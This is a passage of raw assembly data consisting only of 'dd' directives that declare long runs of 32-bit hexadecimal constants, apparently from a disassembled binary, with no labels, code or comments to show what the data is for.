		dd 0C17D7495h, 1CA4EB9Ch, 0C4AA8C1Eh, 0E10C8943h, 0C16BDB1Eh
		dd 0F130C90Ah, 9E96304Bh, 7C371038h, 44548105h,	2000FC29h
		dd 67E7BD0Eh, 9D7E80D3h
		dd 0FCC46C26h, 329F3421h, 0FCD329C0h, 0EEDEDF5Fh, 8AC40065h
		dd 0CAC73EF5h, 2600A79Eh, 361D5E5h, 0E812BB6Bh,	4C801EABh
		dd 0B8F0002h, 0FA88AAF5h, 166A08C7h, 0E5FC608Eh, 0C0224B03h
		dd 0DD7241E0h, 1D310527h, 66E2B875h, 0DA6DA441h, 0C0E945F0h
		dd 0F90B8110h, 7B24E529h, 850045E3h, 496527BFh,	50C5E8C4h
		dd 3CCA8442h, 6A985F99h, 0CF6540B1h, 2FE0E5A3h,	0CF8C741h
		dd 1670BE66h, 0CFB70331h, 31320B03h, 0F1920802h, 40478529h
		dd 65372B79h, 4056081Bh, 113E4AC8h, 416FCF8Bh, 0C92F08h
		dd 1092A6ABh, 892E3AEBh, 0F14B2B07h, 59A9C113h,	0D7C1DC0Eh
		dd 0DDD01150h, 0DB6908C7h, 0E0650B81h, 0C35B108Ch, 0C874F0F0h
		dd 8DD4253Fh, 0E8C2CAF5h, 3D68CF1h, 85C05097h, 18C4D74Ah
		dd 0FA0EDA4Bh, 0F06E2090h, 0C098A359h, 3010AA8Ah, 0B808C8Bh
		dd 0A0C395F8h, 0A10E62ADh, 1C20592Ch, 44290E3Dh, 7E4136CBh
		dd 41766A21h, 0D071A8BCh, 5D483EE1h, 8CC61874h,	90454910h
		dd 3FA63A30h, 4220C10Ch, 21809610h, 7C4948FBh, 1182831h
		dd 108BC5Ch, 2AD04BD1h,	0CAD04A16h, 81ACA090h, 8A18C458h
		dd 43A087F2h, 81E210Dh,	0A064D5Ah, 64403ADDh, 81623196h
		dd 0BAB62118h, 273E1C90h, 72FC8B06h, 7BC40220h,	8984652Bh
		dd 989B5443h, 0F30E85A0h, 0F012490h, 0B252CD9h,	0C6D02BA3h
		dd 24A5E8A8h, 0CF84ED61h, 595D5AA0h, 83A20ACAh,	4309A894h
		dd 27BBB785h, 64549E94h, 40474082h, 0E366EAACh,	0D580E423h
		dd 480A6036h, 4962FE80h, 1050606Dh, 0E48548ABh,	0E88CA11Ah
		dd 8907E496h, 5E7C30B8h, 7434DF17h, 0D4AAD083h,	142144C0h
		dd 0CE08CA0Fh, 2BCB0E8Ch, 372E0839h, 0B4780044h, 6012622Ch
		dd 8EBE10DFh, 9854246Ch, 21F7EA00h, 0FA122B44h,	620AE10h
		dd 0F49FD2E3h, 1E31885Dh, 8B0A4092h, 1C15784Ch,	0A03F436Fh
		dd 0D6097E12h, 732C409h, 21D9A57Ch, 29F811F8h, 7C20FBF1h
		dd 90E9FE25h, 289C4CC0h, 0C59A0A0Ch, 94906F28h,	0DD6011ECh
		dd 0F5FC8210h, 0FDE23A2Ah, 566CEA0Ch, 0AD091EF0h, 27D4B10h
		dd 60E7EB70h, 741C6BCCh, 90E6F0C9h, 9077F080h, 9B611D68h
		dd 5FA10944h, 2BEA4401h, 7E808A3Dh, 0A70E471h, 505E7AC4h
		dd 24DEA011h, 7B4DA90h,	4710948Fh, 0C00F597Ah, 0F406CFE9h
		dd 2109687Eh, 96D34CDEh, 0B29005BCh, 0F847CCh, 6D843EA8h
		dd 0C0488B0Eh, 0C0E1296Ch, 1A458840h, 0AC415083h, 861D329Eh
		dd 184E55F0h, 175FA200h, 38644D4Fh, 0DE590016h,	7DBC223Eh
		dd 0A2051C56h, 0F201FD4Eh, 6D2514FEh, 39136200h, 37C3601Eh
		dd 70427A18h, 487641h, 1041FD51h, 86E1EC22h, 12A7F114h
		dd 0D3D00B18h, 5FEF0067h, 17B9D638h, 2E1EEFEh, 34BC597Dh
		dd 3DCC1898h, 6A7CC110h, 1F53601h, 4C9081EEh, 0B900FB14h
		dd 0BD8E5EBh, 19963Ah, 0FD01EEFAh, 0EC3C5671h, 0DC1D7374h
		dd 18BE2667h, 901075D3h, 0A1ED0A2Dh, 4028F0F9h,	484A2C0Bh
		dd 70F60D40h, 0C1EE0153h, 0A1EB6BC8h, 0E281FCE6h, 0FC21561Fh
		dd 3D933000h, 0F9500AA2h, 0CF4B7D0h, 0EF09C23Ch, 0ACA01508h
		dd 17989742h, 4706FEF8h, 5EB97C59h, 8B06FA0h, 0BC00A408h
		dd 81FC371Ch, 594807E1h, 0C1746FDCh, 9B5B759Ch,	0E1106C20h
		dd 188C77E5h, 0A7408A1Dh, 5129DCA8h, 1DD3EA81h,	4A4048h
		dd 5949E7E1h, 18C3ED1Ch, 1889FF21h, 487CC480h, 8C38D3Ah
		dd 0C3594246h, 0A1380F78h, 7E9D8CFEh, 3BC60E0h,	22778132h
		dd 6E0284A0h, 0F9104D60h, 54C1EA3Eh, 628690F4h,	3302182Ch
		dd 0AB668C80h, 7F3A623Dh, 1D667B85h, 3311B919h,	4ED8795Ch
		dd 311C880Ch, 50673099h, 66D8B096h, 48910897h, 5ADB8218h
		dd 0E861E1C0h, 434D325Ch, 9481CEB8h, 760ADDCh, 24EDCCCFh
		dd 0C1EC0123h, 81F0CC03h, 4108873Fh, 5CF253Dh, 901A4601h
		dd 0EF60856Eh, 5D7CC003h, 0AB21C329h, 40FCC145h, 0FDDC0881h
		dd 0FD81ED58h, 8BC1D057h, 0F05C80C3h, 2F182056h, 0A5EC4118h
		dd 0C6403AD0h, 0B86D9D50h, 8C66CF2h, 6F503E18h,	198D08DBh
		dd 2A04B38h, 37807526h,	564C4009h, 0B45151B7h, 84D1418h
		dd 107C5037h, 0C042B60Ch, 149353C1h, 0E3265A04h, 30164031h
		dd 85C2814Bh, 0A924E000h, 1011FB90h, 1F2D763Ah,	0FC152F42h
		dd 0FB99C12Ch, 0D61018DAh, 8012F7FFh, 14452802h, 0E4099884h
		dd 41300275h, 2118602Fh, 0A1D0A0F2h, 1808DEF5h,	0B3E1B8EDh
		dd 7244892h, 0E90E40A4h, 3E009E72h, 0E71C63B0h,	7C620EF8h
		dd 5C8410BDh, 5954DCADh, 0CA85221Dh, 2036C070h,	828026F5h
		dd 0DDE35024h, 4EBBB200h, 0C1963CE1h, 22800CF9h, 0D7B83914h
		dd 8224EC90h, 0B7923499h, 7254881Eh, 685C0FECh,	0ABA09841h
		dd 2C9C4C54h, 87B61A7h,	0F6683451h, 62885462h, 0E124601Dh
		dd 0EA689087h, 61F8C2ECh, 2C40540Eh, 88A1400Ch,	0DC788990h
		dd 7C688371h, 0C455B360h, 5D0E008Ah, 0B700F7A5h, 7855D809h
		dd 0E2265098h, 610F2C58h, 20A454FAh, 661EE808h,	801BD03Bh
		dd 6760F491h, 4936B02Ah, 7B1628DBh, 0D8141CD8h,	548B9049h
		dd 448FB8CAh, 0A67F2A60h, 4E15888Ch, 0C7FC9250h, 12E08D48h
		dd 0A8093FE4h, 0DCC888AAh, 30C67E58h, 76795FF0h, 7493EEE3h
		dd 0C2FD0282h, 0DD28C96Dh, 51A28F60h, 0EC229879h, 32BBC2DFh
		dd 28C96E6Dh, 223089BFh, 11085B6h, 0D6317C67h, 6180DED3h
		dd 2B21096h, 9803A2h, 146F9C26h, 0A6584826h, 0B7F51032h
		dd 0D2F6125Dh, 0F4E16805h, 0A79C9804h, 0B01C2CC2h, 3C6C0F68h
		dd 0F0C924E4h, 4B02E24h, 8421FF61h, 0BA902808h,	0AF990A09h
		dd 0B66C00F6h, 1657CE76h, 385C4F1Ch, 7C712F6Ch,	30FC4631h
		dd 608A3316h, 1C980A21h, 3C403081h, 4917DD3h, 0D9028FC0h
		dd 7641C545h, 1C5881B7h, 0A380349Ch, 1C63AA2Bh,	0BFA7DD82h
		dd 22D62157h, 80280476h, 0F57A21D7h, 4B5A361Eh,	601432A0h
		dd 243DD435h, 16D4E461h, 0B85C1424h, 0E681CFB0h, 0F6296961h
		dd 0D8987C18h, 9201B064h, 0E35C0748h, 1C06C92Fh, 384DB432h
		dd 3F372205h, 0D20484EAh, 40C99B14h, 81204C94h,	0AE20F67Eh
		dd 0E0B6010Bh, 0D761EA44h, 8074235Ah, 0A9C02435h, 61168008h
		dd 5D5124B2h, 2E40BD0h,	0A99215Fh, 828C470Ch, 0D894464Ah
		dd 92D660E8h, 6AFC50C6h, 0CF7C2E08h, 0DC109ECh,	0E83C6402h
		dd 48FCF883h, 2449288Eh, 94402E54h, 1027BD8Ch, 0DC7850B3h
		dd 2C08D283h, 5515763Ch, 99C6B61h, 6CFE336h, 3708E428h
		dd 8680481Ch, 0BC2E5812h, 4492FCF9h, 196E9045h,	0A2ADA809h
		dd 0C832F54Ch, 91EF388Ch, 0F1736004h, 4F2062D2h, 140458E1h
		dd 0E0551C1Ah, 8380A065h, 2ED52690h, 0ECC900Ah,	81EEF019h
		dd 5C528494h, 4021B6CFh, 20F75511h, 0D0D07D04h,	0D25FB0F8h
		dd 293D6269h, 2CE2CCB6h, 4EA5C0C1h, 0A15406F8h,	28316578h
		dd 91F47316h, 9DD56040h, 586356B7h, 42A37628h, 0BDC084D8h
		dd 29EFD213h, 89D6D8CFh, 0FC4C1C9Fh, 58C51898h,	0B736289Ch
		dd 50AE59FAh, 92C1450Ch, 5C96295Ah, 0D05C540Ch,	936F0BA0h
		dd 74847426h, 1C6C0689h, 6567050Ch, 5C082BAEh, 0B83B54A4h
		dd 1A1179E0h, 68C08226h, 593D3F85h, 0B046470h, 9BB420A3h
		dd 9F901614h, 5ACAA03Ch, 0E52F265Ch, 0B408058h,	0A665DC62h
		dd 0B73C5400h, 0C401EC28h, 17989830h, 560AF44h,	7061BC69h
		dd 0DF406A28h, 68A9F62Ch, 0D473D50Fh, 92FF00F0h, 0CA8C9C63h
		dd 6AE8E961h, 4CA20001h
		dd 0CEDC54A3h, 3C3055BBh, 635C08A4h, 6EC8B825h,	0FD828001h
		dd 0EC96ED03h, 0B7905104h, 3602329Eh, 28475483h, 47C77901h
		dd 0E885F737h, 38402896h, 2B0083B0h, 34798070h,	58EFF5D8h
		dd 45E04427h, 0CB304636h, 0CA552892h, 0C0B09974h, 44051A04h
		dd 0B5283F61h, 1C635BBBh, 0D78F0F87h, 1528ACC7h, 9EA193E7h
		dd 76DC8804h, 3843A8D1h, 5D03F84Eh, 7BF5BA70h, 0D775400Bh
		dd 0E8380004h, 0AC8AB6A9h, 9230260h, 357CBD57h,	0F8AD484h
		dd 47F0F41Ch, 8F750330h, 727D6640h, 7632430h, 86BF7078h
		dd 8C2F0E2Ah, 169F9518h, 296D30F0h, 40CC6201h, 922D99BFh
		dd 68B851EDh, 80542312h, 5EEAD27Bh, 70B8A961h, 0D5041CFAh
		dd 7B2637BCh, 0ED31D642h, 0B98740E5h, 2A856F06h, 0D46AB84Fh
		dd 0DD30E0CCh, 797061AAh, 23587675h, 0E8048030h, 51B5149Eh
		dd 0C0C6A820h, 62BDFC00h, 55EFA86Dh, 0B102A4C7h, 0A49BB314h
		dd 0ECD035FCh, 0E873757Ch, 12991F37h, 0DFE0402Eh, 2B2859BDh
		dd 17F8B80Eh, 0D6E38013h, 7DEEB02Fh, 8AC70A69h,	4014E024h
		dd 3D9D8D5Eh, 0B01C2300h, 2C9B85CEh, 0C9C000D8h, 1F60F82Dh
		dd 0CA296AC5h, 71031CE1h, 0ACF075E3h, 36C42E03h, 0BCB9EA90h
		dd 18428F2Bh, 0F6967502h, 0BB08805Bh, 618AC615h, 577609D7h
		dd 0D518E840h, 42872A0Ch, 0EC180Eh, 0F9732E44h,	0CFB9A730h
		dd 76159C00h, 0D0196811h, 61C80FAFh, 0DDE00C50h, 2FEC978Ah
		dd 76557803h, 9D9B480h,	5893761h, 0B0238F87h, 0A79EC203h
		dd 0F3614BE8h, 6B60E20h, 7EB0DD4h, 524C3BCBh, 0D360DDC8h
		dd 0FED0A903h, 0A3799Dh, 27566611h, 0B13DB346h,	3763CA1Dh
		dd 9C677ABAh, 482144E0h, 4D30099Ah, 0C4573A83h,	3B1000F0h
		dd 7E97433Ch, 0D13C6573h, 93C28077h, 9152B4FBh,	0B8D6608Fh
		dd 74A09EEAh, 8D0179FEh, 351168F1h, 9C536685h, 0C7BCC081h
		dd 7898008Ch, 0AE48AA37h, 0F0E0CD93h, 52E059FAh, 738B2A00h
		dd 0FCDACBF8h, 0C081F77Bh, 0B95AB675h, 766875Ch, 86BE54DFh
		dd 20DAE9h, 93817DD5h, 2636A269h, 0B4478000h, 1DD2764Eh
		dd 28407CCh, 0A049C88Bh, 33990ABEh, 0FF9FED00h,	2E7F0DCAh
		dd 8B3A010Fh, 50C452DFh, 18BFC071h, 0B1B7C900h,	0D8AB8EC2h
		dd 38B8E24Eh, 0CB800646h, 20DA0789h, 8CFAA4A9h,	879F7600h
		dd 2E560D83h, 0AC1006Eh, 1A844BEh, 0B4003F31h, 61D48F71h
		dd 663B35h, 28A6ACFFh, 0D1E655FAh, 0E472CF00h, 0B6067DCBh
		dd 0A88E001Ah, 0B5C8BBF1h, 95034F8Fh, 0E4C55CAEh, 0DF5DE8B2h
		dd 0FD4D007Bh, 52CC63BFh, 450BEBABh, 807A5B79h,	8C277066h
		dd 44F4BEh, 4D962E06h, 0D8541E8Eh, 46539D0Fh, 48D08519h
		dd 0F8880400h, 0AF18A250h, 7204680Ch, 0AB381800h, 0C007FE0Ah
		dd 0C3A160EBh, 16A3ACF7h, 1134E083h, 7419C4EAh,	0DB8124FCh
		dd 188862E6h, 9D42D658h, 0EEA0118Dh, 84867210h,	62BC8458h
		dd 82E06919h, 87EFCC3Ch, 42680D0Ch, 3213F1F0h, 0F819ED9Ah
		dd 0E5C5FF19h, 24DC6195h, 0F45D4608h, 100C4095h, 248A2539h
		dd 0C389548h, 0FE18481Fh, 0EECEE70Eh, 0FD5074E0h, 0C02B5F9h
		dd 2BE6175Ah, 0A8AF57h,	2E3F0B4Dh, 761D0AFBh, 40B813B5h
		dd 2C6DFAA1h, 80E19A3Fh, 40DC12F0h, 2D00885h, 34476AB7h
		dd 0C8A0D791h, 0B01DA6F3h, 0A9F27B1Dh, 0EF102AC0h, 0E65D1253h
		dd 0F803009Dh, 198831C2h, 14006A47h, 13B804E7h,	0FA910Fh
		dd 20F610EAh, 2651C0CFh, 881A2301h, 81038C2Bh, 39DC4C48h
		dd 0D863F7BCh, 0D6D082ABh, 950A1FC4h, 8420B0ADh, 389DAF00h
		dd 0F5C323h, 0FABA763Bh, 0E1091E1Dh, 2B4B8B00h,	9EF62749h
		dd 665F00F1h, 0AB6584CDh, 0C15E287h, 0DC1CCCFAh, 704D0F48h
		dd 0C1009C69h, 4675D345h, 0D91E82h, 6E772A22h, 79A5D92h
		dd 0C4C0FA56h, 5200237Fh, 0D2A18B9Ah, 2D1B7570h, 90291F77h
		dd 0D5A9F1h, 5266014Ch,	0D45F447Bh, 0B35C2A00h,	0ADC52CBFh
		dd 5C9856E3h, 83D66A00h, 4F278F35h, 3E004D74h, 0D59FAB12h
		dd 38BAE84h, 48986F3h, 0A3A89D54h, 8A009B6Fh, 6A91F913h
		dd 604FBA39h, 9F968849h, 0FC125A81h, 104016C4h,	892E82F4h
		dd 1E5426B8h, 4E9A8008h, 0CF40B27Fh, 7AC728C7h,	42D460D0h
		dd 0E758A54Ch, 29D698FFh, 604CFBD1h, 0D50FA2D4h, 0B1AC700h
		dd 4ACF1018h, 525700ADh, 0C8D007EBh, 603802DFh,	3803A476h
		dd 9A5A5604h, 0A39D3C80h, 6F7D097Eh, 8420320Bh,	0FB819EC8h
		dd 70A25A00h, 462E2CFCh, 9A2B0011h, 0DFD24715h,	749102ECh
		dd 0E9857602h, 220017F8h, 5D6A8950h, 104794Fh, 0EC980D55h
		dd 81128428h, 87A650D0h, 0FD7DC08h, 6E8C5F91h, 2C0468Eh
		dd 0E6874BD2h, 30202E30h, 1A17CBFh, 59890AB0h, 4BCB85D3h
		dd 0DBAD80ACh, 171F74h,	4AD12FDFh, 3AA2F3FAh, 8054B738h
		dd 0D62808F0h, 7DE7A8h,	40807805h, 529B3C3Dh, 96D9EE02h
		dd 0E0D8EBFDh, 0A4BBEDh, 0F05CA177h, 0B4132678h, 7C288505h
		dd 0C1FB760Eh, 0D7845AC8h, 0DE234DE0h, 7300A67Ah, 893A0157h
		dd 36857Fh, 4F21CB54h, 0E31FD10h, 846690Ch, 0C00842h, 2D2F0776h
		dd 314A6F7Ch, 124E9100h, 344BAA0Ah, 59CF0F32h, 3D43A9FDh
		dd 0F4902327h, 921FBBF7h, 2AC01F4Ah, 5EBD81B3h,	31CA00BEh
		dd 0B22A3BFh, 0F303F236h, 9C4AD0A5h, 666F9876h,	0FCF0188Eh
		dd 238830AFh, 89090B30h, 6D9B93h, 2486A6B1h, 2A47FC65h
		dd 0A9413114h, 0DCD7A084h, 6FD158Dh, 0EA00A081h, 0C72B8BEh
		dd 7F07F671h, 57E4235h,	0CA5006E7h, 90C3AEh, 0F45F51CFh
		dd 0B8C23D0Fh, 132A81Bh, 52ADD081h, 1878023Eh, 0B1E46E97h
		dd 0AC38C283h, 4C4B3CE1h, 0A73FC5D0h, 97CF1450h, 9DA602D3h
		dd 0E03BEAF9h, 5C6568D6h, 3D00CE8Eh, 67FD5E01h,	3700078Ah
		dd 0A3EE3F91h, 0E2FCF832h, 9F111849h, 2A698174h, 706A912h
		dd 6F950600h, 960AAFh, 736A0803h, 97496319h, 14004BF8h
		dd 11BBACE6h, 0E0729823h, 5C0C9148h, 11508600h,	4E9B95A0h
		dd 90C924C2h, 0FE318004h, 9D83BF25h, 42710E7Fh,	0FCA50C78h
		dd 0EAACED50h, 981E05D9h, 207014BBh, 0B72D7CF4h, 0D2F920Fh
		dd 0B18054A9h, 38A9AD69h, 3D15D840h, 0B54979C0h, 0CA878B41h
		dd 0C5C40AE0h, 7C9030AFh, 0E91D3A11h, 20319D5Dh, 64F0A4BDh
		dd 114860F5h, 5C5DF013h, 800A1E44h, 6B88E6F3h, 0FCAB07EBh
		dd 830E3FDEh, 2FC1EC23h, 5E208C49h, 3B691822h, 270CE4Bh
		dd 196EF847h, 0CC437029h, 44F73FC3h, 0A44088F1h, 92743B35h
		dd 8B396040h, 7ACE70B8h, 0CFC21936h, 2096D8DBh,	9722E61Ch
		dd 0C714893h, 0FD2F3074h, 3BA276C0h, 0C9DF40DEh, 641C843Bh
		dd 87B4F0h, 4522F644h, 0CF56DC83h, 0CA8C962h, 6F15C044h
		dd 0C3D7ECB0h, 145C39A0h, 506257A9h, 3EA470E4h,	52B05E52h
		dd 83228390h, 0DB90195Fh, 60E09927h, 0D4830DCh,	800490D0h
		dd 0DCB9DEDBh, 0E98E003Fh, 0C2498F0Ah, 6407409Ch, 4A9D76F3h
		dd 0DA4D63F0h, 0C020DCEEh, 92A26127h, 5C07CC5Eh, 2D0B2184h
		dd 59C01C40h, 39E63Eh, 0ED1B142Ah, 70527BC5h, 0A9F54307h
		dd 0AEE1D347h, 0F7E88C42h, 0A15300C9h, 0E5E2F9C1h, 0C600B95Eh
		dd 0FD07AF5h, 3E1C317h,	0C81F5B29h, 50BF2E4Ah, 3FECA055h
		dd 50BF4900h, 28466D52h, 64EF28E4h, 0AB0800A2h,	0FFC5F2A8h
		dd 4F3BBBA5h, 0A1060045h, 4C7E9214h, 9A540025h,	0E13A0A76h
		dd 40006E42h, 16B4A3A5h, 0F8B161D8h, 6259014Bh,	75A631D3h
		dd 6BB0F0EAh
		dd 0D90D4C16h, 0FC687300h, 3E2E1F8Dh, 801C0896h, 0CFE180CBh
		dd 2490EC86h, 1CC6AC07h, 8A40A2C4h, 0E42D71D8h,	0A04000C0h
		dd 0F2353A87h, 1C703FE2h, 94D3407h, 77C09ECFh, 2F8FC8h
		dd 4C014B1Ah, 0C26DBA6h, 0C6A12700h, 0AAD792D6h, 0F9E80090h
		dd 1C556772h, 0C70FB540h, 201035F2h, 9CBEF669h,	0EFC100CDh
		dd 47130719h, 4AE63ACCh, 80DEC91Dh, 2BF108C0h, 3A52E79Dh
		dd 0F400EFEDh, 0CEAF8F3Fh, 0F00CADDh, 0EA0226EBh, 0CC46297h
		dd 72AA81Eh, 0D5004729h, 0DBF5CCAh, 7AB3DFh, 77095936h
		dd 9A28C5D6h, 0A96A1000h, 0B44119EEh, 0A3530078h, 0D2B113E7h
		dd 0E60DE70h, 0F6A99E60h, 3BAA00BDh, 7AD02208h,	6D0016A2h
		dd 49B13E4Ch, 0A8BF9Dh,	543FA17Bh, 8CEF18FBh, 19A370Eh
		dd 124D6048h, 74BADB63h, 0F1E6F4h, 7E18591Ch, 0C83935F7h
		dd 0E803F8FCh, 6D902993h, 9F6B98B9h, 415C0F99h,	0D6677EFEh
		dd 0F02AF749h, 26D00254h, 0EB3A340Eh, 0E072013h, 0FB8E19h
		dd 0E66EAE57h, 1B3B2DBEh, 1AE23700h, 949C332Eh,	8473000Ch
		dd 9D24CFAAh, 2F24FA2Ch, 0E0802019h, 0C4EDFDDBh, 1B2506D4h
		dd 0A07F3A54h, 4B826400h, 0DA89C1Fh, 2CF7343h, 375C0413h
		dd 79C048C0h, 0BC00F566h, 26F69914h, 12D6BECAh,	1FFB4FE8h
		dd 315280D3h, 4ABD1FF4h, 6DAEF100h, 0DC5D4C68h,	24B41FE4h
		dd 902CF1Bh, 370435C0h,	0B900B569h, 89672A96h, 304585h
		dd 8EA61CA8h, 0BCB3EB3Bh, 172C900h, 2D7D3D95h, 1D110014h
		dd 611E0CE9h, 8D077017h, 0A2374188h, 557B68A0h,	0A31F008Bh
		dd 249F76FEh, 8200C2D3h, 7E49C56Bh, 30700401h, 0A020BC9Ch
		dd 2001B48h, 22EF6869h,	115512Ch, 1F397390h, 400ED304h
		dd 0D4415F9Fh, 6987600h, 38117DD5h, 84F21396h, 0DDAE006Dh
		dd 6446957Ah, 50B3D000h, 0D7E9A54Fh, 61B0002Fh,	0FB1A28D1h
		dd 3C3F8133h, 87B63910h, 0E62642FEh, 0EE56CCD0h, 6DF00CFh
		dd 0C14B9CC6h, 46002E82h, 0C7C536A3h, 7883CE8h,	0D56AA289h
		dd 0FE98A049h, 0C90779CDh, 589E7AEEh, 479300FEh, 2009C6h
		dd 6F0AB2DBh, 0F1FFD65Eh, 0DC2AF301h, 3B166A87h, 0FB11E0h
		dd 7C530839h, 13736E4h,	0A1DC3C02h, 60951219h, 2E88645Fh
		dd 2B6AA2Ah, 0EEC059B1h, 0F5AE05Dh, 96A43CE6h, 9ED3D600h
		dd 1BC33190h, 189B9130h, 0E38C6Eh, 0D6BD40A8h, 8174B28Eh
		dd 533EBE0Eh, 304100D2h, 0F6225Bh, 0F4A0721Ch, 6779C11h
		dd 3217B52Ch, 509F4700h, 0B37FCCh, 48841F71h, 3D02DF4Fh
		dd 929E0D00h, 77D4881Eh, 0E8F230h, 2E0AA1BBh, 0C6527C47h
		dd 0A48B9403h, 0F078BA7Fh, 70FD28h, 95DF9B5Dh, 0FC7AD256h
		dd 1BB5E90Fh, 608C60F1h, 4A6942h, 30E27978h, 0A538972h
		dd 6D8DF300h, 997B472Dh, 9B131F26h, 0DB2240C0h,	0C8D5FDF0h
		dd 87F28074h, 0A6E3E51Dh, 0D7412D00h, 62B408h, 0E001E910h
		dd 1A7605C2h, 6E0086F6h, 752C0702h, 0F2DB03h, 0A46C5EADh
		dd 0C5D47928h, 0AC1DC973h, 0F803931h, 9558A36Ah, 0A87700FBh
		dd 0FFBFF9F6h, 0E1127BEEh, 7700B1C8h, 0B79DFAE8h, 573C0F1Ah
		dd 16800BFCh, 0F7B6EEFDh, 8036993Ch, 25DD2619h,	0E5618Eh
		dd 28E0A663h, 0EA0056Dh, 3FCEB139h, 4F0100EAh, 2673097Eh
		dd 33751C0Dh, 4308CFBAh, 0D5B0A160h, 0CE00D1C0h, 1DBE85D9h
		dd 0FAF9CD3Dh, 0C78B4A98h, 4038907Bh, 7800E0DAh, 0F5D9E165h
		dd 13303Eh, 0E67BEA73h,	8F1815B5h, 62B8DD00h, 334F8D60h
		dd 8B4D0024h, 1906E175h, 133D667Fh, 0E8C38310h,	0DB919FA8h
		dd 3212C04Fh, 43CA3FE0h, 53D91880h, 2DF104E3h, 0E1D8339h
		dd 635525A5h, 0C8A61A4Eh, 0E7D460h, 7B5719B9h, 203F2456h
		dd 3C07337Ch, 4E92E3DAh, 35D88FCh, 66993575h, 599B9506h
		dd 0F8A993A0h, 1802410Ch, 304DB0D2h, 1B599C47h,	860E2C7Ah
		dd 0A0763854h, 6F2FB356h, 28D128Bh, 0F4F2003Bh,	0D1541360h
		dd 773FD00h, 485A06ABh,	0DFB6001Fh, 3D535F6Bh, 3A03C113h
		dd 0DC6029A3h, 78F3C0ABh, 9B810FCBh, 0A2CE1757h, 74060A80h
		dd 0D500D2B3h, 9224FD83h, 4E0FE60h, 471EEDE8h, 0DBD5C06Bh
		dd 0F80007A8h, 7DAAF214h, 1292D794h, 0C99D72h, 1D775959h
		dd 7000864Ch, 0C5DD97CAh, 5081E4h, 7BB59212h, 0D2A7FCC8h
		dd 1E98E900h, 0CF8C9351h, 917300E4h, 0C0BE4A0Eh, 3A0C29B1h
		dd 2050E2F4h, 0AD7B0092h, 425A134Fh, 7400DCEFh,	43A981E0h
		dd 3ABEB651h, 7A7C3Fh, 0B5039586h, 65183C09h, 21278D1Fh
		dd 1A197500h, 55933C4h,	0C23269F0h, 0D7870067h,	2F94A802h
		dd 88F99A07h, 638055A6h, 4F66CCh, 4B22877Dh, 697D676h
		dd 6FEFFE00h, 2BD71632h, 919001BEh, 5673EA99h, 9882602Ah
		dd 5CE74F00h, 70C4A6C5h, 0BF8A0078h, 69A98DD6h,	57017F15h
		dd 2DAAE4B5h, 0D5C8186Ch, 0AE040039h, 0C0C65C5Eh, 0ACA07432h
		dd 0E300EFFCh, 0FBEAA352h, 0FE24ED97h, 32130020h, 8BC86EBBh
		dd 0E6C06D54h, 0B3F1AA7h, 26ACA09Eh, 146003Dh, 5F77B6D5h
		dd 250D3436h, 20A4BD63h, 5D22C8h, 4438520h, 41C4D306h
		dd 40076530h, 5944287h,	0A8204B16h, 0C34F8724h,	210182A2h
		dd 0A945EDD8h, 47C48649h, 7C7D07F8h, 10C20467h,	6D4E2054h
		dd 40486B07h, 0D027D756h, 0B2E59030h, 91100A33h, 14A86F63h
		dd 3FAC5C8Ch, 2800D243h, 894D40A2h, 3B1F2F36h, 60B0BA2Bh
		dd 6F13FAF6h, 1140A991h, 0BB372787h, 0F9EA38ECh, 911DBA14h
		dd 40437098h, 83477307h, 327254A0h, 0BD7B2088h,	8400A845h
		dd 1A9DF935h, 0BCDEEBh,	2146D2A9h, 7DD781B2h, 18D30A3Ch
		dd 9AF826A5h, 95D101CFh, 8E416276h, 0CFED4F1h, 943E50E8h
		dd 1D23BDEFh, 910203F9h, 77C814CCh, 17872340h, 0BA05207Fh
		dd 3F9074F8h, 1DDD0F81h, 50EFD9F0h, 20A9A8h, 5AEEB4BBh
		dd 67E2747Eh, 0E3560601h, 1E45A9B1h, 7D025E0h, 0FAA202C5h
		dd 1BB3A749h, 93968400h, 58004E4Bh, 0F355ABBBh,	5AD93AD8h
		dd 0ABFC3Ch, 3846299Bh,	66C5DAh, 2B7B1555h, 44BA6047h
		dd 7ECE0200h, 5E9C9A64h, 0F3A100B6h, 1B983F20h,	62011612h
		dd 6D5F2778h, 0C0D00C43h, 0B0920037h, 0E3CEE1C2h, 93003380h
		dd 0D418E425h, 6A851E9Dh, 0C32091h, 0A71D4FD7h,	0D278E3F5h
		dd 0D09FD00h, 66EA8B7Ah, 79E13DC3h, 0A32CD180h,	9E7D14B1h
		dd 5E083300h, 8D17F295h, 1F5AE09Bh, 7059A7h, 0C80D9D1Eh
		dd 61012B38h, 527A1453h, 0DFE03632h, 931D01EDh,	2518DA58h
		dd 9AD140B4h, 4D90B5A0h, 7EF4CA00h, 451EAC16h, 0DCD4094Bh
		dd 4E007DD9h, 3851E949h, 0A6C93B00h, 0FC40D50Fh, 66C80010h
		dd 0EDBE72BCh, 0DE002B6Bh, 856DF5D7h, 1D116329h, 932DC9h
		dd 82FF49F4h, 0A90152B9h, 89B55CE9h, 75E0E0E1h,	61A300D8h
		dd 8E836E21h, 4D00E84Ch, 0EB5D5A8h, 8DD0DBh, 0C6324994h
		dd 871C573h, 2D8C8800h,	9D5D34CCh, 8AAB0F51h, 0E90ECF6Bh
		dd 0C006C0C4h, 33859183h, 0DB4CAD2Eh, 835A400Eh, 0B8CDA1E4h
		dd 13EB0819h, 0EC569DA6h, 0AA4D0175h, 90A05D20h, 1940CD8h
		dd 56979686h, 0F81932A1h, 0F400DA5Ch, 0BF72BAE0h, 0B82746h
		dd 5D014A17h, 0FF2F1C0h, 7912DC00h, 0E05503C2h,	0BAD14B34h
		dd 4970EFC7h, 0FDEC58h,	9BCED5A6h, 0B070056Fh, 75EB1F00h
		dd 0B82FCFBEh, 846700CDh, 8942418Bh, 0F500276Eh, 6A226C5Dh
		dd 12D33760h, 184F7Bh, 15FA408Bh, 6D00295Ah, 26F61D9Dh
		dd 304CEFEh, 46E37A42h
		dd 95B95F76h, 0B480E298h, 142E2C3Ah, 0FA647200h, 5B29542Bh
		dd 36F0017h, 337C4F47h,	0AD0070B2h, 89F72662h, 0EE560Fh
		dd 9CF3C5CDh, 58E4A2E9h, 347F4107h, 5F70BF02h, 0C29D6C9h
		dd 8C2CF6B3h, 0A006F68h, 0CC30FCF4h, 6790218h, 853C7B90h
		dd 0B500904Eh, 171C7AA4h, 995354h, 24879794h, 320696D7h
		dd 52F65A00h, 29EEB55Fh, 992500D8h, 69CBEFB0h, 6818372Fh
		dd 3C105051h, 7C350042h, 3AF16E0Bh, 0AC002CAFh,	4E9373D2h
